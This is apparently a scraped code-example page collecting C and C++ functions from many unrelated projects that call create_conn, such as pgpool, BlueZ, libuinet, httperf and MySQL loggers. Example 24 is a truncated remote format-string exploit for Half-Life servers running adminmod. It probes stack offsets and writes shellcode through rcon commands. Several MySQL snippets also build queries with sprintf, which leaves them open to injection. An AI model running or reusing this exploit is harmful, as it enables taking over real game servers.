Esempio n. 1
0
static void
accept_cb(struct ev_loop *loop, ev_uinet *w, int revents)
{
	struct passive_context *passive = w->data;
	struct uinet_socket *newso = NULL;
	struct uinet_socket *newpeerso = NULL;
	struct connection_context *conn = NULL;
	struct connection_context *peerconn = NULL;
	int error;
	int batch_limit = 32;
	int processed = 0;

	while ((processed < batch_limit) &&
	       (UINET_EWOULDBLOCK != (error = uinet_soaccept(w->so, NULL, &newso)))) {
		processed++;

		if (0 == error) {
			newpeerso = NULL;
			conn = NULL;
			peerconn = NULL;

			if (passive->verbose)
				printf("accept succeeded\n");

			conn = create_conn(passive, newso, 1);
			if (NULL == conn)
				goto fail;

			newpeerso = uinet_sogetpassivepeer(newso);
			peerconn = create_conn(passive, newpeerso, 0);
			if (NULL == peerconn)
				goto fail;

			conn->peer = peerconn;
			peerconn->peer = conn;
			
			ev_uinet_start(loop, &conn->watcher);

			if (!passive->extract)
				ev_uinet_start(loop, &peerconn->watcher);

			passive->interface->num_sockets += 2;

			continue;
		fail:
			if (conn) destroy_conn(conn);
			if (newso) uinet_soclose(newso);
			if (newpeerso) uinet_soclose(newpeerso);
		}
	}

	if (processed > passive->interface->max_accept_batch)
		passive->interface->max_accept_batch = processed;
}
Esempio n. 2
0
static void
send_calls (Sess *sess, struct Conn_Info *ci)
{
  u_int rd;
  int i;

  if (!ci->conn)
    {
      create_conn (sess, ci);
      return;
    }

  if (!ci->is_connected)
    /* wait until connection is connected (or has failed)  */
    return;

  rd = (ci->rd + ci->num_sent) % MAX_PIPED;

  for (i = ci->num_sent; i < ci->num_pending; ++i)
    {
      core_send (ci->conn, ci->call[rd]);
      ++ci->num_sent;
      rd = (rd + 1) % MAX_PIPED;
    }
}
Esempio n. 3
0
static int
run0(UNUSED int argc, void **argv)
{
    int res;
    int _argc;
    char **_argv;

    assert(argc == 2);

    res = 0;

    _argc = (intptr_t)argv[0];
    _argv = argv[1];

    mrkamqp_init();

    while (!shutting_down) {
        if (create_conn() != 0) {
            goto err;
        }
        if (run_conn(_argc, _argv) != 0) {
            goto err;
        }

err:
        assert(conn == NULL);
        CTRACE("Reconnecting ...");
        mrkthr_sleep(1000);
        continue;
    }

    CTRACE("Exiting run0 ...");
    return res;
}
Esempio n. 4
0
galera::TrxHandle*
galera::Wsdb::get_conn_query(int                 version,
                             const wsrep_uuid_t& source_id,
                             wsrep_trx_id_t      conn_id,
                             bool                create)
{
    gu::Lock lock(mutex_);
    ConnMap::iterator i;

    if ((i = conn_map_.find(conn_id)) == conn_map_.end())
    {
        if (create == true)
        {
            Conn& conn(create_conn(conn_id));
            TrxHandle* trx(new TrxHandle(
                               version, source_id, conn_id, -1, true));
            conn.assign_trx(trx);
            return trx;
        }
        else
        {
            return 0;
        }
    }

    if (i->second.get_trx() == 0 && create == true)
    {
        TrxHandle* trx(new TrxHandle(version, source_id, conn_id, -1, true));
        i->second.assign_trx(trx);
    }

    return i->second.get_trx();
}
Esempio n. 5
0
/*
 * <Function name>
 *   create_conn
 *
 * <Outline>
 *   接続用リストの要素をコネクションリストに追加する
 *
 * <Input>
 *   dbtype : データベースのタイプ
 *   connname : 接続時に指定した識別子(指定が無い場合はNULL)
 *   connaddr : コネクションリソースのアドレス(PostgresならPGconn *と同等)
 *
 * <Output>
 *   success : craete_connで発行された接続ID
 *   failure : INVALID_CONN_ID
 */
static int
add_conn_lists(int dbtype, char *connname, unsigned long connaddr){
	// add list and return unique ID(start: 1)
	struct conn_list *index = &_conn_lists;

	while(index->next != NULL){
		index = index->next;
		if(index->sc.cid != NULL &&
				strcmp(index->sc.cid, connname) == 0){
			ERRLOG("connection id %s is already registered.\n", connname);
			return INVALID_CONN_ID;
		}
		if(index->sc.cid != NULL &&
				strcmp(index->sc.cid, connname) == 0){
			return index->sc.id;
		}
		/*--------------------------*/
	}

	// insert
	index->next = create_conn(dbtype, connname, connaddr);
	if(index->next == NULL){
		return INVALID_CONN_ID;
	}

	return index->next->sc.id;
}
Esempio n. 6
0
/*
 * Check if pgpool can accept the lifecheck query.
 */
int
wd_ping_pgpool(WdInfo * pgpool)
{
	int rtn;
	PGconn * conn;

	conn = create_conn(pgpool->hostname, pgpool->pgpool_port);
	rtn = ping_pgpool(conn);

	return rtn;
}
Esempio n. 7
0
static void ext_direct_connect(GIOChannel *io, GError *err, gpointer user_data)
{
	struct ext_io *server = user_data;
	struct ext_profile *ext = server->ext;
	struct ext_io *conn;

	conn = create_conn(server, io);
	ext->conns = g_slist_append(ext->conns, conn);

	ext_connect(io, err, conn);
}
Esempio n. 8
0
/*
 *******************************************************
 * Initialize all the data.
 * OUT: 0: init failure, 1: init success.
 *******************************************************
 */
int init_stat_data(){
	MYSQL *conn;
	int result;
	result = create_conn(&conn);
	if(result == 0) return 1;

	/* delete all */
	freeup_all(0);
	mysql_close(conn);
	return 1;
}
Esempio n. 9
0
/*
 *********************************************
 * insert process energy record into database
 * IN:
 * @conn: MYSQL connection
 * @de: process energy record to be inserted.
 * RETURN:
 * 0: if success, 1 if failed
 ********************************************
 */
int insert_process_energy(struct process_energy * pe){
	MYSQL *conn;
	int result;
	result = create_conn(&conn);
	if(result == 0) return 1;
	char query[1024];
	sprintf(query, "INSERT INTO process_energy(pid,time, ecpu, emem, enet, edisk) VALUES(%d,%ld, %9.2f, %9.2f, %9.2f, %9.2f)", pe->pid, pe->time, pe->ecpu, pe->emem, pe->enet, pe->edisk);

    result = mysql_real_query(conn, query, (unsigned int) strlen(query));
    mysql_close(conn);
    return result;
}
Esempio n. 10
0
/*
 *********************************************
 * insert device energy record into database
 * IN:
 * @conn: MYSQL connection
 * @de: device energy record to be inserted.
 * RETURN:
 * 0: if success, 1 if failed
 ********************************************
 */
int insert_device_energy(struct device_energy * de){
	MYSQL *conn;
	int result;
	result = create_conn(&conn);
	if(result == 0) return 1;

	char query[1024];
	sprintf(query, "INSERT INTO device_energy(time, ecpu, emem, enet, edisk) VALUES(%ld, %9.2f, %9.2f, %9.2f, %9.2f)", de->time, de->ecpu, de->emem, de->enet, de->edisk);

    result = mysql_real_query(conn, query, (unsigned int) strlen(query));
    mysql_close(conn);
    return result;
}
Esempio n. 11
0
/*
 *******************************************************
 * Delete system info records before time interval.
 * IN:
 * @conn: mysql connection
 * @interval: time to keep process profile
 * RETURN:
 * 0, success, 1 error
 *******************************************************
 */
int freeup_sys_info(u32 interval){
	MYSQL *conn;
	int result;
	result = create_conn(&conn);
	if(result == 0) return 1;
	long now = (long) time(NULL);

	char query[1024];
	sprintf(query, "DELETE FROM sys_info where time < %ld", now - interval);
	result = mysql_real_query(conn, query, (unsigned int) strlen(query));
    mysql_close(conn);
    return result;
}
Esempio n. 12
0
/*
 ********************************************
 * insert system record into database
 * IN:
 * @conn: MYSQL connection
 * @pst: system level record to be inserted
 * OUT:
 * 0: if success, 1 if failed
 ********************************************
 */
int insert_sys_info(struct sys_info * st){
	MYSQL *conn;
	int result;
	result = create_conn(&conn);
	if(result == 0) return 1;
	char query[1024];

	sprintf(query, "INSERT INTO sys_info(time, netsend, netrcv, diskread, diskwrite,cpupower,memaccess, itv,runtime, apnum)"
			"VALUES(%u, %llu, %llu, %llu, %llu, %9.2f, %llu, %u, %u, %d)", st->time, st->totalnetsnd, st->totalnetrcv,
			st->totaldiskread, st->totaldiskwrite, st->cpupower, st->memaccess, st->itv, st->runtime, st->active_process_num);

	result = mysql_real_query(conn, query, (unsigned int) strlen(query));
    mysql_close(conn);
    return result;
}
Esempio n. 13
0
int main (int argc, char *argv[])
{
	
	struct queryopt opt;
	struct ofields *fields;
	struct select_doc *s_doc;
	struct query_doc *qu_doc;
	struct db_connect *db_conn;
	struct output *out;
	struct db_cursor *db_c;
	struct results *res;

	opt.e_skip = 0;	  	  // standard
	opt.e_ret = 0;	  	  // standard
	opt.bsever  = 0;
        opt.blevel = 0;
	opt.bdate = 0;
	opt.bdateu = 0;
	opt.bdatef = 0;
	opt.bmsg = 0;
	opt.bskip = 0;
	opt.bsys = 0;
	
	getoptions(argc, argv, &opt);
	qu_doc = create_query(&opt);				// crate query
	s_doc = create_select();
	db_conn = create_conn();				// create connection
	out = launch_query(&opt, s_doc, qu_doc, db_conn);	// launch the query 
	db_c = open_cursor(db_conn, out);			// open cursor
	
	while (cursor_next(db_c))
	{
		res = read_data(db_c);
		fields = get_data(res);
        	formater(fields);				// formate output
		free(fields);
		free(res);
    	}

	free_cursor(db_c);
	close_conn(db_conn); 
	free(out);
	free(s_doc);
	free(qu_doc);
 
	return (0);
}
Esempio n. 14
0
/*
 ********************************************
 * insert process record into database
 * IN:
 * @conn: MYSQL connection
 * @pst: process level record to be inserted
 * OUT:
 * 0: if success, 1 if failed
 ********************************************
 */
int insert_ps(struct process_info * pst) {
	MYSQL *conn;
	int result;
	result = create_conn(&conn);
	if(result == 0) return 1;

	char query[1024];
	if(pst->cmdline == NULL)
		pst->cmdline="";
	sprintf(query, "INSERT INTO process_info(pid, time, read_bytes, write_bytes, cancelled_write_bytes,"
			"total_vsz, total_rsz, mem, utime, stime, gtime, cpu, cswch, nvswch, minflt, majflt, netsnd, "
			"netrcv, ratio, cpu_accesses,cmdline) VALUES(%d, %u, %9.2f, %9.2f, %9.2f, %u, %u, %6.2f, %7.2f, %7.2f, %7.2f, "
			"%7.2f, %9.2f, %9.2f, %9.2f, %9.2f, %9.2f, %9.2f,%9.2f,%llu, \'%s\')", pst->pid, pst->time, pst->read_bytes,
			pst->write_bytes, pst->cancelled_write_bytes, pst->vsz, pst->rss, pst->mem, pst->utime, pst->stime,
			pst->gtime, pst->cpu, pst->cswch, pst->nvcswch, pst->minflt, pst->majflt, pst->netsnd, pst->netrcv,
			pst->ratio,pst->cpu_accesses, pst->cmdline);
	result = mysql_real_query(conn, query, (unsigned int) strlen(query));
    mysql_close(conn);
    return result;
}
Esempio n. 15
0
/* net_poll_listen:
 *  Polls a listening conn for incoming connections.  If 
 *  there are any, this function accepts the first queued and
 *  returns a net NET_CONN * which the user can use to talk 
 *  to the connecting computer.  Otherwise NULL is returned.
 */
NET_CONN *net_poll_listen (NET_CONN *conn)
{
	static NET_CONN newconn;
	if (conn->status != NET_CONN_LISTENING) return NULL;
	newconn.type = conn->type;
	newconn.driver = conn->driver;
	if (conn->driver->poll_listen (conn, &newconn)) {
		struct __conn_list_t *ptr;
		newconn.status = NET_CONN_CONNECTED;
		MUTEX_LOCK(__libnet_internal__openconns);
		ptr = create_conn ();
		if (!ptr) {
			MUTEX_UNLOCK(__libnet_internal__openconns);
			conn->driver->destroy_conn (&newconn);
			return NULL;
		} else {
			memcpy (ptr->conn, &newconn, sizeof (NET_CONN));
			conn = ptr->conn;
			MUTEX_UNLOCK(__libnet_internal__openconns);
			return conn;
		}
	} else return NULL;
}
Esempio n. 16
0
static void
conn_failed (Event_Type et, Object *obj, Any_Type regarg, Any_Type callarg)
{
  Conn_Private_Data *cpriv;
  struct Conn_Info *ci;
  Conn *conn;
  Sess *sess;

  assert (et == EV_CONN_FAILED && object_is_conn (obj));
  conn = (Conn *) obj;
  cpriv = CONN_PRIVATE_DATA (conn);
  sess = cpriv->sess;
  ci = cpriv->ci;

  if (ci->is_successful || param.retry_on_failure)
    /* try to create a new connection so we can issue the remaining
       calls. */
    create_conn (sess, ci);
  else
    /* The connection failed before we got even one reply, so declare
       the session as dead... */
    sess_failure (cpriv->sess);
}
Esempio n. 17
0
/* net_openconn:
 *  Opens a conn over the specified network type `type'.  `addr' defines
 *  whether or not the conn should be use a specific local association. 
 *  The function returns a pointer to the NET_CONN struct created, or 
 *  NULL on error.
 */
NET_CONN *net_openconn (int type, const char *addr)
{
	struct __conn_list_t *ptr;

	MUTEX_LOCK(__libnet_internal__openconns);

	if ((ptr = create_conn())) {
		NET_CONN *conn = ptr->conn;
		conn->type = type;
		conn->driver = __libnet_internal__get_driver (type);

		if (conn->driver && !conn->driver->init_conn (conn, addr)) {
			MUTEX_UNLOCK(__libnet_internal__openconns);
			return conn;
		}

		destroy_conn (ptr);
	}

	MUTEX_UNLOCK(__libnet_internal__openconns);

	return NULL;
}
Esempio n. 18
0
static void ext_confirm(GIOChannel *io, gpointer user_data)
{
	struct ext_io *server = user_data;
	struct ext_profile *ext = server->ext;
	struct ext_io *conn;
	GError *gerr = NULL;
	bdaddr_t src, dst;
	char addr[18];

	bt_io_get(io, &gerr,
			BT_IO_OPT_SOURCE_BDADDR, &src,
			BT_IO_OPT_DEST_BDADDR, &dst,
			BT_IO_OPT_DEST, addr,
			BT_IO_OPT_INVALID);
	if (gerr != NULL) {
		error("%s failed to get connect data: %s", ext->name,
								gerr->message);
		g_error_free(gerr);
		return;
	}

	DBG("incoming connect from %s", addr);

	conn = create_conn(server, io);

	conn->auth_id = btd_request_authorization(&src, &dst, ext->uuid,
								ext_auth, conn);
	if (conn->auth_id == 0) {
		error("%s authorization failure", ext->name);
		ext_io_destroy(conn);
		return;
	}

	ext->conns = g_slist_append(ext->conns, conn);

	DBG("%s authorizing connection from %s", ext->name, addr);
}
result_t create_datagram_conn(client_info_t *client_info, connection_handler_t handle_connection) {
    return create_conn(client_info, create_datagram_conn_sock, handle_connection);
}
Esempio n. 20
0
static void
passive_accept_cb(struct ev_loop *loop, ev_uinet *w, int revents)
{
	struct uinet_demo_passive *passive = w->data;
	struct uinet_socket *newso = NULL;
	struct uinet_socket *newpeerso = NULL;
	struct passive_connection *conn = NULL;
	struct passive_connection *peerconn = NULL;
	int error;
	unsigned int batch_limit = 32;
	unsigned int processed = 0;

	while ((processed < batch_limit) &&
	       (UINET_EWOULDBLOCK != (error = uinet_soaccept(w->so, NULL, &newso)))) {
		processed++;

		if (0 == error) {
			newpeerso = NULL;
			conn = NULL;
			peerconn = NULL;

			if (passive->cfg.verbose)
				printf("%s: Accept succeeded\n", passive->cfg.name);

			conn = create_conn(passive, newso, 1);
			if (NULL == conn) {
				printf("%s: Failed to alloc new connection context\n",
				       passive->cfg.name);
				goto fail;
			}

			newpeerso = uinet_sogetpassivepeer(newso);
			peerconn = create_conn(passive, newpeerso, 0);
			if (NULL == peerconn) {
				printf("%s: Failed to alloc new peer connection context\n",
				       passive->cfg.name);
				goto fail;
			}

			conn->peer = peerconn;
			peerconn->peer = conn;
			
			ev_uinet_start(loop, &conn->watcher);
			ev_uinet_start(loop, &peerconn->watcher);

			if (conn->verbose || (passive->cfg.copy_mode & UINET_IP_COPY_MODE_MAYBE))
				ev_uinet_start(loop, &conn->connected_watcher);

			if (peerconn->verbose || (passive->cfg.copy_mode & UINET_IP_COPY_MODE_MAYBE))
				ev_uinet_start(loop, &peerconn->connected_watcher);

			passive->num_sockets += 2;

			continue;
		fail:
			if (conn) destroy_conn(conn);
			if (newso) uinet_soclose(newso);
			if (newpeerso) uinet_soclose(newpeerso);
		}
	}

	if (processed > passive->max_accept_batch)
		passive->max_accept_batch = processed;
}
Esempio n. 21
0
/***********************************************************************
* debug init
***********************************************************************/
void dbg_init(void)
{
	db_s = create_conn(DB_IP, DB_PORT, 1);
}
Esempio n. 22
0
void* thread_connect() {
    int listenfd, connfd;
    
    listenfd = create_conn(10023);
    if (listenfd <= 0) {
        printf("create listenfd failed\n");
        exit(0);
    }
    
    bzero(clients, sizeof(clients));
    
    int epollfd;
    epollfd = epoll_create(101);
    if (epollfd == -1) {
        exit(0);
    }
    
    struct epoll_event ev, events[150];
    ev.events = EPOLLIN;
    ev.data.fd = listenfd;
    if (epoll_ctl(epollfd, EPOLL_CTL_ADD, listenfd, &ev) == -1) {
        exit(0);
    }
    
    for ( ; ; ) {
        int nfds;
        nfds = epoll_wait(epollfd, events, sizeof(events), -1);
        if (nfds == -1)
            exit(0);
        
        int i;
        for (i = 0; i < nfds; ++i) {
            int currfd = events[i].data.fd;
            if (currfd == listenfd) {
                int conn_sock;
                conn_sock = accept(listenfd,
                                   (struct sockaddr *)NULL, NULL);
                if (conn_sock == -1)
                    exit(0);
                
                int n, saved;
                saved = 0;
                for (n = 0; n < sizeof(clients); ++n) {
                    if (clients[n] == 0) {

                        clients[n] = conn_sock;
                        saved = 1;
                        break;
                    }
                }
                
                if (saved == 0) {
                    close(conn_sock);
                    continue;
                }
                setnonblocking(conn_sock);
                ev.events = EPOLLIN | EPOLLET;
                ev.data.fd = conn_sock;
                if (epoll_ctl(epollfd, EPOLL_CTL_ADD, conn_sock, &ev) == -1)
                    exit(0);
            } else {
                int n;
                char str[50];
                n = read(currfd, str, sizeof(str));
                if (n == 0) {
                    int i;
                    for (i = 0; i < sizeof(clients); ++i) {
                        if (clients[i] == currfd) {
                            clients[i] = 0;
                            break;
                        }
                    }
                    close(currfd);
                    epoll_ctl(epollfd, EPOLL_CTL_DEL, currfd, NULL);
                } else {
                    strncpy(msg, str, n);
                }
            }
        }
    }
}
Esempio n. 23
0
static void
check_pgpool_status_by_query(void)
{
	WdInfo * p = WD_List;
	struct timeval tv;
	pthread_attr_t attr;
	pthread_t thread[MAX_WATCHDOG_NUM];
	WdPgpoolThreadArg thread_arg[MAX_WATCHDOG_NUM];
	int rc;
	int i,cnt;

	/* set startup time */
	gettimeofday(&tv, NULL);

	/* thread init */
	pthread_attr_init(&attr);
	pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);

	/* send queries to all pgpools using threads */
	cnt = 0;
	while (p->status != WD_END)
	{
		if (p->status != WD_DOWN)
		{
			thread_arg[cnt].conn = create_conn(p->hostname, p->pgpool_port);
			rc = watchdog_thread_create(&thread[cnt], &attr, thread_ping_pgpool, (void*)&thread_arg[cnt]);
		}
		p ++;
		cnt ++;
		if (cnt >= MAX_WATCHDOG_NUM)
		{
			ereport(WARNING,
					(errmsg("checking pgpool status by query, pgpool num is out of range:%d",cnt)));
			break;
		}
	}
	pthread_attr_destroy(&attr);

	/* check results of queries */
	p = WD_List;
	for (i = 0; i < cnt; )
	{
		int result;

		ereport(DEBUG1,
				(errmsg("checking pgpool status by query"),
					errdetail("checking pgpool %d (%s:%d)",
						   i, p->hostname, p->pgpool_port)));

		if (p->status == WD_DOWN)
		{
			ereport(LOG,
				(errmsg("checking pgpool status by query"),
					errdetail("pgpool %d (%s:%d) is in down status",
						   i, p->hostname, p->pgpool_port)));
			i++;
			p++;
			continue;
		}
		else
		{
			rc = pthread_join(thread[i], (void **)&result);
			if ((rc != 0) && (errno == EINTR))
			{
				usleep(100);
				continue;
			}
		}

		if (result == WD_OK)
		{
			ereport(DEBUG1,
				(errmsg("checking pgpool status by query"),
					 errdetail("WD_OK: status: %d", p->status)));

			/* life point init */
			p->life = pool_config->wd_life_point;
		}
		else
		{
			ereport(DEBUG1,
				(errmsg("checking pgpool status by query"),
					 errdetail("NG; status: %d life:%d", p->status, p->life)));
			if (p->life > 0)
			{
				p->life --;
			}

			/* pgpool goes down */
			if (p->life <= 0)
			{
				ereport(LOG,
					(errmsg("checking pgpool status by query"),
						errdetail("lifecheck failed %d times. pgpool %d (%s:%d) seems not to be working",
								   pool_config->wd_life_point, i, p->hostname, p->pgpool_port)));

				/* It's me! */
				if ((i == 0) &&
					(WD_MYSELF->status != WD_DOWN))
				{
					wd_set_myself(&tv, WD_DOWN);
					wd_notice_server_down();
				}

				/* It's other pgpool */
				else if (p->status != WD_DOWN)
					pgpool_down(p);
			}
		}
		i++;
		p++;
	}
}
Esempio n. 24
0
int main(int argc, char **argv)
{
    int sock, stackpops, padding;
    int i,j,bytes_written;
    int p1,p2,p3,p4;
    char cmd[1000], reply[1000];
    unsigned long addr;

    printf("hoagie_adminmod - remote exploit for hlds servers using the adminmod plugin\n"
           "by [email protected]\n\n");
    if(argc!=4)
    {
       printf("Usage: %s server_ip server_port rcon_password\n\n",argv[0]);
       exit(1);
    }

    strcpy(server_ip,argv[1]);
    server_port=strtol(argv[2],NULL,10);
    strcpy(rcon_pwd,argv[3]);

    create_conn(&sock,server_ip,server_port);

    printf("Getting stackpop count...");
    send_rcon(sock,server_ip,server_port,rcon_pwd,"log on",reply);
    stackpops=-1;
    for(padding=0;padding<4 && stackpops==-1;padding++)
    {
       for(i=1;i<100 && stackpops==-1;i++)

       {
          strcpy(cmd,"admin_command admin_map ");
          for(j=0;j<padding;j++) strcat(cmd,"b");
          sprintf(reply,"AAAA%%%d$08x",i);
          strcat(cmd,reply);

          send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);
          reply[strlen(reply)-1]=0;
          if(strstr(reply,"AAAA41414141"))
          {
             stackpops=i;
            bytes_written=4+padding;
          }
          printf(".");
          fflush(stdout);
       }
    }
    padding--;
    if(stackpops==-1)
    {
       printf("\ncouldn't determine stackpop count. (I really tried hard!)\n");
       exit(1);
    }

    printf("\nStackpops found: %d, Padding: %d\n",stackpops,padding);

    // inject shellcode
    printf("Writing shellcode...");
    addr=OFFSET;
    for(i=0;i<strlen(shellcode);)
    {
       int t;
       if((addr&0xFF)>0x75)
       {
          // leave space for jmp-instruction (5 bytes: 0xe9 offset/32)
          // distance is 0x13B-0x7A = 193d
          unsigned long target=192;

          strcpy(cmd,"admin_command admin_map ");
          for(j=0;j<padding;j++) strcat(cmd,"b");
          t=get_padding(0xe9,bytes_written);
          sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
              (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
          strcat(cmd,reply);
          send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

          addr++;
          strcpy(cmd,"admin_command admin_map ");
          for(j=0;j<padding;j++) strcat(cmd,"b");
          t=get_padding(target&0xFF,bytes_written);
          sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
              (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
          strcat(cmd,reply);
          send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

          addr++;
          strcpy(cmd,"admin_command admin_map ");
          for(j=0;j<padding;j++) strcat(cmd,"b");
          t=get_padding((target>>8)&0xFF,bytes_written);
          sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
              (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
          strcat(cmd,reply);
          send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

          addr++;
          strcpy(cmd,"admin_command admin_map ");
          for(j=0;j<padding;j++) strcat(cmd,"b");
          t=get_padding((target>>16)&0xFF,bytes_written);
          sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
              (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
          strcat(cmd,reply);
          send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

          addr++;
          strcpy(cmd,"admin_command admin_map ");
          for(j=0;j<padding;j++) strcat(cmd,"b");
          t=get_padding((target>>24)&0xFF,bytes_written);
          sprintf(reply,"%c%c%c%c%%%du%%%d$n",addr&0xFF,(addr>>8)&0xFF,
              (addr>>16)&0xFF,(addr>>24)&0xFF,t,stackpops);
          strcat(cmd,reply);
          send_rcon(sock,server_ip,server_port,rcon_pwd,cmd,reply);

          addr+=193;
       }
       else
       {
Esempio n. 25
0
int main(int argc, char *argv[]){

    //prepare curl
    char url[]="https://hotel.psc.edu:8086/";
    int ssl_verify = 1;
    libinflux_init();
    influxConn *hostA = create_conn(url, "test", "dbuser", "TcitoPsb", ssl_verify);
    CURLcode res;

    set_callback(hostA, dataCallback);

    //parse arguments
    printf("%s:\n", argv[0]);
    while( (argc > 1) && (argv[1][0] == '-') ){
        switch (argv[1][1])
        {
            case 's': // set ssl peer verification. On: 1, Off: 0
                if(argv[1][3] == '0')
                    ssl_verify = 0;
                else if(argv[1][3] == '1')
                    ssl_verify = 1;
                
                //arguments were consumed
                argv += 2;
                argc -= 2;
                break;

            case 'q': // query
                hostA->ssl = ssl_verify;
                res = influxQuery(hostA, &argv[1][3]);
                if( res != CURLE_OK){
                    fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
                }

                //arguments were consumed
                argv += 2;
                argc -= 2;
                break;

            case 'w': // write
                hostA->ssl = ssl_verify;
                res = influxWrite(hostA, &argv[1][3]);
                if( res != CURLE_OK){
                    fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
                }
                
                //arguments were consumed
                argv += 2;
                argc -= 2;
                break;


            case 't': // test/check connection
                hostA->ssl = ssl_verify;
                res = influxCheck(hostA);
                if( res != CURLE_OK)
                    fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));

                //arguments were consumed
                argv += 1;
                argc -= 1;
                break;


            case 'd': // enable debug
                set_debug(true);
                
                //arguments were consumed
                argv += 1;
                argc -= 1;
                break;

            default:
                printf("Invalid argument: %s\n", argv[1]);
                usage();
        }

    }

    free_conn(hostA);
    libinflux_cleanup();
    
    return 0;
}